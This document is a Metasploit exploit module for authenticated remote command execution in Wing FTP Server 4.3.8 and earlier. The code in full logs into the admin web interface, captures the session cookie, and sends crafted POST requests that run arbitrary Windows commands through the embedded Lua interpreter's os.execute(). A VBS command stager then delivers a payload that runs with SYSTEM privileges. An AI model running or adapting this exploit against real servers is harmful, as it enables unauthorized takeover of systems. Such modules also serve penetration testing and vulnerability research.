Wing FTP Server Authenticated Command Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Wing FTP Server Authenticated Command Execution',  
'Description' => %q{  
This module exploits the embedded Lua interpreter in the admin web interface for  
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request  
an attacker can use os.execute() to execute arbitrary system commands on  
the target with SYSTEM privileges.  
},  
'Author' =>  
[  
'Nicholas Nam <nick[at]executionflow.org>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.wftpserver.com' ]  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows VBS Stager', {} ]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jun 19 2014',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(5466),  
OptString.new('USERNAME', [true, 'Admin username', '']),  
OptString.new('PASSWORD', [true, 'Admin password', ''])  
], self.class  
)  
deregister_options('CMDSTAGER::FLAVOR')  
end  
  
def check  
res = send_request_cgi(  
{  
'uri' => '/admin_login.html',  
'method' => 'GET'  
})  
  
if !res  
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")  
elsif res.code != 200  
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")  
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
@session_cookie = authenticate(username, password)  
  
print_status("#{peer} - Sending payload")  
# Execute the cmdstager, max length of the commands is ~1500  
execute_cmdstager(flavor: :vbs, linemax: 1500)  
end  
  
def execute_command(cmd, _opts = {})  
command = "os.execute('cmd /c #{cmd}')"  
  
res = send_request_cgi(  
'uri' => '/admin_lua_script.html',  
'method' => 'POST',  
'cookie' => @session_cookie,  
'vars_post' => { 'command' => command }  
)  
  
if res && res.code != 200  
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")  
end  
end  
  
def authenticate(username, password)  
print_status("#{peer} - Authenticating")  
res = send_request_cgi(  
'uri' => '/admin_loginok.html',  
'method' => 'POST',  
'vars_post' => {  
'username' => username,  
'password' => password,  
'username_val' => username,  
'password_val' => password,  
'submit_btn' => '+Login+'  
}  
)  
  
uidadmin = ''  
if !res  
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")  
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/  
res.get_cookies.split(';').each do |cookie|  
cookie.split(',').each do |value|  
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/  
end  
end  
else  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")  
end  
  
"UIDADMIN=#{uidadmin}"  
end  
end  
`